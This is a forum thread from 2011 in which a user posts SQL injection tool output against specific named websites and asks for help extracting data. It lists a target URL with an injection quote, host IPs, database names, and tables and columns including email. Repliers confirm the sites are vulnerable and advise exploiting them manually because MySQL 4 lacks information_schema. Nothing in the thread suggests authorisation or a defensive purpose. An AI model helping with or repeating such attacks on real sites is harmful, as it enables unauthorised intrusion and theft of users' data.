Host IP: 76.162.0.21

Web Server: Apache

Powered-by: PHP/4.4.9

DB Server: MySQL

Current DB: start6_race

keyword: have

Tables: links

columns: email, id

Quote:Target: http://www.swecard.com/news_view.php?id='49

Host IP: 212.97.132.209

Web Server: Apache/1.3.41

Powered-by: PHP/4.4.9

DB Server: MySQL

Current DB: cardswe_db

keyword: have

Tables: news

Columns: title, content, id

Please reply what im doing wrong.

I cant get anything out of these.

I cant get anything out of these.

DB Server: MySQL >=4.1

Selected Column Count is 8

Finding string column

Valid String Column is 2

Current DB: cardswe_db

Their vulnerable for sure...

I am using it

Did you try any of these?

le@rner - January 11, 2011, 3:27 am

I know you are using havij

there are many tutorials on it search around

learn3r - January 11, 2011, 3:41 am

If the MySQL version is below 5(it seems to be 4 in your case), you don't have luxury of information_schema database to enumerate the table names and column names and hence probably these automated tools are not working. I personally always exploit SQLi manually. Remember that makes you better exploiter.
